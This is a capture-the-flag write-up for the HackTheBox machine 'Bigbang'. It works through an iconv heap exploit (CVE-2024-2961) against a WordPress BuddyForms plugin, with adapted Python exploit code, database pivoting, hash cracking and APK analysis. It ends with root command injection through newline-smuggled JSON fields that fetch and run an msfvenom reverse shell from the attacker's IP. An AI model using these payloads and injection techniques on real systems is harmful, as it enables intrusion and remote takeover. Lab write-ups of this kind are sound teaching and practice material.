Bigbang Writeup
This is a HackTheBox that machine contains a wordpress website that uses an outdated version of PHP that contains an iconv vulnerability. By using a plugin that allows for a file_get_contents call, and pulling information about the system the buffer can be overflowed and directed at the php binary to make a system call. Afterwards internally the user creds can be cracked from the web database, and the root path requires analyzing an Android APK file to learn how to make requests to the internal app that has root privileges and an RCE vulnerability.
Running a full port scan to start reveals 22,80 are open, and a script scan shows more information about the services:
Nmap scan report for bigbang.htb (10.10.11.52)
Host is up (0.35s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 d4:15:77:1e:82:2b:2f:f1:cc:96:c6:28:c1:86:6b:3f (ECDSA)
|_ 256 6c:42:60:7b:ba:ba:67:24:0f:0c:ac:5d:be:92:0c:66 (ED25519)
80/tcp open http Apache httpd 2.4.62
|_http-title: Did not follow redirect to http://blog.bigbang.htb/
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: Host: blog.bigbang.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
- Add blog.bigbang.htb to hosts file.
Looking at the website, in the code a number of wp- directories exist, which hints at this being a wordpress website. Running a wpscan confirms it, and find a number of vulnerabilities inside of the plugin BuddyForms that the website is using.
[+] WordPress version 6.5.4 identified (Insecure, released on 2024-06-05).
| Found By: Rss Generator (Passive Detection)
| - http://blog.bigbang.htb/?feed=rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
| - http://blog.bigbang.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
...
| [!] Title: BuddyForms < 2.7.8 - Unauthenticated PHAR Deserialization
| Fixed in: 2.7.8
| References:
| - https://wpscan.com/vulnerability/a554091e-39d1-4e7e-bbcf-19b2a7b8e89f
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-26326
...
| [!] Title: BuddyForms < 2.8.9 - Unauthenticated Arbitrary File Read and Server-Side Request Forgery
| Fixed in: 2.8.9
| References:
| - https://wpscan.com/vulnerability/3f8082a0-b4b2-4068-b529-92662d9be675
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-32830
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/23d762e9-d43f-4520-a6f1-c920417a2436
- This line in the output is also notable: `[+] Upload directory has listing enabled: http://blog.bigbang.htb/wp-content/uploads/
Looking through the http://blog.bigbang.htb/wp-content/uploads/ directory also reveals a number of files that are there already. IMAGE OF FILES IN DIRECTORY
Upon downloading these files they don't appear to be image files, instead looking at the output of the files one appears to be an ELF file with GIF magic bytes, and the other also contains GIF magic bytes, but appears to be the output of the /proc/self/maps file for an apache process. These files are likely important as they are older than the machine coming out (Context is important).
After attempting to find a Pop Gadget chain to use with the 2.7.7 Buddy Forms Phar Deserialization attack and not finding anything other than the ability to upload unauthenticated files to the host with magic bytes, and not being able to run any code from them research begins in earnest. Somehow these maps/elf files must be interesting, so searching for queries like "BuddyForms exploit /var/proc/maps" results in a fairly difficult to find blog page: https://www.ambionics.io/blog/iconv-cve-2024-2961-p1
This blog page shows a vulnerability, and at the bottom contains a link to github. This is a libc vuln, essentially what happens is there is a 1-3 character buffer overflow in iconv that is exploitable in php, specifically in some system calls like file_get_contents. This is what the Buddy Forms uses, allowing RCE even though there isn't a pop gadget by overwriting the php heap, and then making a system call using a bucket train. While that sounds difficult, luckily it has already been done already, the exploit just needs to be updated to match the way that BuddyForms 2.7.7 uses these functions.
When a file is uploaded it is done with a file_get_contents call on a remote address, this can be edited with php filters to prepend the magic bytes of another file, which allows for Arbitrary file read in this case, this is the vulnerability that wasn't well documented from the WPscan. After the file is grabbed it can then be downloaded and read on the attack machine. First the /proc/self/maps will be read to try and find the php heap, and then the libc elf file will be read to find the address of the system call, which will be what is used to call the command.
The PoC code gives a good place to start making this work with the Remote class.
# Original code from POC for the Remote Class
class Remote:
"""A helper class to send the payload and download files.
The logic of the exploit is always the same, but the exploit needs to know how to
download files (/proc/self/maps and libc) and how to send the payload.
The code here serves as an example that attacks a page that looks like:
```php
<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
```
Tweak it to fit your target, and start the exploit.
"""
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
return self.session.post(self.url, data={"file": path})
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
To get this to work we need to point the exploit at a way to download the files, and a way to send the exploit at the target. To download the file we need to wrap the file that is required to be downloaded inside of php filters to "upload" it onto the server, and then download it with a get request to the server which will then be decoded and read. To start wrapping the outputs with php filters it can be done by implementing the wrapwrap.py class. Copying the entire class, excluding the final WrapWrap() call will allow for manually calling the wrapwrap class. Pasting that class onto the end of the exploit python file will allow for this path building setup in Remote.
def download(self, path: str) -> bytes:
"""Returns the contents of a remote file."""
phpWrapping = WrapWrap()
phpWrapping.path=path
phpWrapping.prefix='GIF'
phpWrapping.suffix=''
phpWrapping.nb_bytes=1000
path = phpWrapping.run()
response = self.send(path, True)
return response.content[3:]
This builds a WrapWrap class, that runs the main function of wrapwrap that surrounds the path with php filters required to make the request. In this it is a prefix of 'GIF' for the magic bytes of the file. When the file is downloaded and sent back it is then cleaning the first 3 bytes off of the file which are 'GIF'.
Now in updating the send, there are two paths that can be taken, either it is being sent in order to download the new file, or being sent to do the heap overflow which is code execution. To keep them clean a new argument is added 'download' which determines if the file is downloaded or not. The getURL creates the file upload from from the path argument. This code could be cleaned up a bit, but it works.
def send(self, path: str, download: bool) -> Response:
"""Sends given `path` to the HTTP server. Returns the response."""
getURL = self.session.post(self.url, data={"action":"upload_image_from_url","url": urllib.parse.quote_plus(path),"id":"12","accepted_files":"image/gif"})
print(getURL.text)
rawURL = json.loads(getURL.text)
getFile = rawURL["response"].replace("\\","")
if download:
return self.session.get(getFile)
else:
return(getURL)
This exploit is almost setup to work, but there are a couple of things that are going to fail with this setup, that is edited further in the code. The reason this won't work is mentioned in the WrapWrap writeup, essentially because of how Base64 decode works it can trim bytes off of the end of the file. In the case of /proc/self/maps it might be the case that the trimming can actually add a byte to the end. The first time this exploit worked this line was required to get the regular expression to work.
Proof of the byte added:
Coding Fix:
def get_regions(self) -> list[Region]:
"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""
maps = self.get_file("/proc/self/maps")
maps = maps[:-1] #Added by Durge, may or may not be necessary depending on byte order.
maps = maps.decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
The libc file when grabbed will also have this issue, where it will trim a couple of bytes off. Looking at a valid libc file shows that it actually isn't a big deal. The elf parser will complain and error, but because the end of a valid libc file is a series of null bytes, in this PoC null bytes can be appended to the end of the file to make up for the trimming that happens, and the exploit will still work.
Proof of the issue with Elf Parsing:
Coding fix:
def download_file(self, remote_path: str, local_path: str) -> None:
"""Downloads `remote_path` to `local_path`"""
data = self.get_file(remote_path)
data += b"\x00\x00\x00\x00" #Added by Durge to fix the trimming on libc
Path(local_path).write(data)
Now the exploit should run:
- Some issues that were run into while making this work, ensure that the payload is URL encoded inside of the path before it is sent in the Remote class else the final payload won't work.
- The exploit may need to be run several times, not exactly sure why this is the case.
Getting www-data shell against the target machine:

Looking through the wp-config file looking for credentials an interesting thing was noted, an ip address to an external database, between that and a .dockerenv at the root of the file system this is likely a docker network.
/** Database username */
define( 'DB_USER', 'wp_user' );
/** Database password */
define( 'DB_PASSWORD', 'wp_password' );
/** Database hostname */
define( 'DB_HOST', '172.17.0.1' );
Using chisel against the target machine allows a connection to be made to docker database.
Then run proxychains to get a mysql connection:

Then enumerate the database, and find some hashes:

After getting the hashes the shawking user can be cracked with hashcat to get this credential,
shawking:quantumphysics
Logging into ssh receives a shell, as well as the user flag.
Doing some simple enumeration shows a database file that is readable inside of the /opt/data directory, a db for a grafana app that is also running on this system. Downloading it an going through the information finds another hash.

Cracking this hash with hashcat gets another cred (this password is reused for the developer user over ssh):
- There is a grafana2hashcat github to format the hash
developer:bigbang
or for grafana:
[email protected]:bigbang
While there is an exploit for Grafana 11.0.0, which is the version being run it also requires the DuckDB plugin to be installed, which it is not. So instead logging into developer and looking around at what is new helps discover an app in development which is found on user "developer"s home folder. (/home/developer/android/satellite-app.apk)
Decompiling this apk file helps get an understanding of an app that is found on localhost:9090 (This was determined by testing). This app has a couple of functionalities, it has a login function, as well as a move function and a send_image function. To start looking at the login function helps understand how to login.
- Port forwarding 9090 helps with this:
ssh -L 9090:localhost:9090 [email protected] - jadx-gui is the program that was used to decompile the apk file
The login function uses a json object of username and password to login to the program.

Logging in with a POST request to /login works!

Looking through the other uses of the app there is a move command, and a send_image command. The move command didn't have a path forward, but the send_image command was very interesting:

While testing the endpoint is was noticed that sending a packet like this (There were hints inside of the hashmap in the apk file this could be the name of the file in question) could result in an image appearing at the root of the file system on the target machine.

To see what is happening on the other end running pspy was tried, to see if it could be some external tool that is copying this image.

Bingo! This is running as root, and using an external tool inside of /usr/local/bin/image-tool, looking in that directory there is a .c file that contains the source code for the tool. The tool itself isn't the vulnerability though, it is that it is running it in this way, /bin/sh -c < Command Line Args >.
If the output isn't being correctly filtered then this is command injection as root. Trying several different types of outputs doesn't work, the python server filters out potentially dangerous characters such as "; & $ ()" etc. This can be fuzzed, but through trial and error a vulnerability is noticed because one set of characters hasn't been filtered, the newline character.
Appending \n to the filename results in the following command being run, this doesn't allow for a reverse shell to be run out of this, but instead a file can be downloaded with curl, and then executed as root.
Generate a reverse shell file, and host it with python http server.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.8 LPORT=9003 -f elf -o shell.elf
python3 -m http.server
Being sent to the server while using the Authorization Header.
{
"command":"send_image",
"output_file":"1.png\nwget http://10.10.14.8:8000/shell.elf"
}
{
"command":"send_image",
"output_file":"1.png\nchmod 777 shell.elf"
}
{
"command":"send_image",
"output_file":"1.png\n./shell.elf"
}
On the attack machine catch the shell
nc -lvnp 9003
Enjoy the root shell!